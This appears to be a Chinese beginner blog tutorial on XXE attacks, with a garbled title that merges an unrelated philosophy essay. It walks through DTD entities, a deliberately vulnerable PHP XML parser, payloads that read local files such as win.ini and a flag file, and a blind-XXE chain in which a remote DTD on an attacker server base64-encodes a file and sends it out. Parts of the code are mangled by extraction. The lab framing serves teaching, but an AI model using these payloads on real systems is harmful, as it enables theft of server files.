浅析罗尔斯的无知之幕论文/浅析无回显的XXE(Blind XXE)_小白黑客详细教程

浅析罗尔斯的无知之幕论文/浅析无回显的XXE(Blind XXE)_小白黑客详细教程

xml介绍

XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

内部实体

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD( type ) 的东西控制的。

<?xml version="1.0"?>//这一行是 XML 文档定义span class="hljs-keyword">message [message (receiver ,sender ,header ,msg)>receiver (#PCDATA)>sender (#PCDATA)>header (#PCDATA)>msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 ,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message><receiver>Myselfreceiver><sender>Someonesender><header>TheReminderheader><msg>This is an amazing bookmsg>message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的

<?xml version="1.0" encoding="ISO-8859-1"?>span class="hljs-keyword">foo [foo ANY >xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

<creds><user>&xxe;user><pass>mypasspass>creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。

外部实体

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>span class="hljs-keyword">foo [foo ANY >xxe SYSTEM "file:///c:/test.dtd" >]><creds>    <user>&xxe;user>    <pass>mypasspass>creds>

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

span class="hljs-keyword">PUBLIC “DTD标识名” “公用DTD的URI”>

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。

通用实体

用 &实体名;在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> span class="hljs-keyword">updateProfile [file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile>      <firstname>Joefirstname>      <lastname>&file;lastname>      ... updateProfile>

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用

示例代码:

an-element ""> remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;

**抛转:**参数实体在我们 Blind XXE 中起到了至关重要的作用

有回显XXE

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。

本地服务器上放上解析 XML 的 php 代码:

xml.php

<?php    libxml_disable_entity_loader (false);    $xmlfile = file_get_contents('php://input');    $dom = new DOMDocument();    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);     $creds = simplexml_import_dom($dom);    echo $creds;?>

其中:: 将 XML 中的实体引用 替换 成对应的值: 加载 中的 DTD 文件

触发xxe

span class="hljs-keyword">foo [foo ANY >xxe "Hello world!" >]>

1.png

读取本地服务器C盘的flag文件

<?xml version="1.0" encoding="utf-8"?> span class="hljs-keyword">creds [  goodies SYSTEM "file:///c:/flag"> ]> <creds>&goodies;creds>

2.png

引用外部实体读取文件

3.png

引用方式是使用 引用公用 DTD 的方法读取

4.png

无回显XXE

有回显的情况可以直接在页面中看到的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

xml.php

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>

test.dtd

file SYSTEM"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">int ""> 

span class="hljs-keyword">convert [remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

我们从 中能看到 连续调用了三个参数实体 %;%int;%send;,这就是我们的利用顺序,% 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

5.png

6.png

这样,我们就读到了flag文件的内容。

参考文章

一篇文章带你深入理解漏洞之 XXE 漏洞

实验推荐

实验:第十四周 | blind xxe(合天网安实验室)点击进入实操>>

更多靶场实验练习、网安学习资料,请点击这里>>

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值